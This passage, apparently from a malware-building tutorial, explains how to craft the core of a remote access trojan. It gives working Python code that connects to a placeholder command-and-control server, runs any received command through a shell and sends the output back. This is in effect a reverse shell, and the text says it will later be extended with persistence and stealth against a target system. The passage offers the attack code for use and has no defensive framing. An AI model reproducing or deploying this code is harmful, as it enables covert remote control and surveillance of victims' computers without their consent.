Crafting the Core RAT
Before diving into the persistence and stealth mechanisms, you need a basic RAT that allows for remote control of the target system.
General Features of the RAT:
- Remote command execution
- File system access (upload, download)
- Keystroke logging
- Screenshot capture
Basic RAT Setup in Python:
import socket
import subprocess
import os
# Connection setup
def connect_to_c2():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("C2_SERVER_IP", 5555)) # Connect to the C2 server
return s
# Function to execute system commands
def execute_command(command):
return subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).communicate()[0]
# Basic command and control (C2) loop
def main():
s = connect_to_c2()
while True:
command = s.recv(1024).decode()
if command.lower() == 'exit':
break
output = execute_command(command)
s.send(output)
if __name__ == "__main__":
main()
This basic RAT connects to a remote command-and-control (C2) server and waits for commands. When a command is received, it is executed, and the result is sent back to the C2 server. This is the foundation that you’ll enhance with persistence and stealth techniques.
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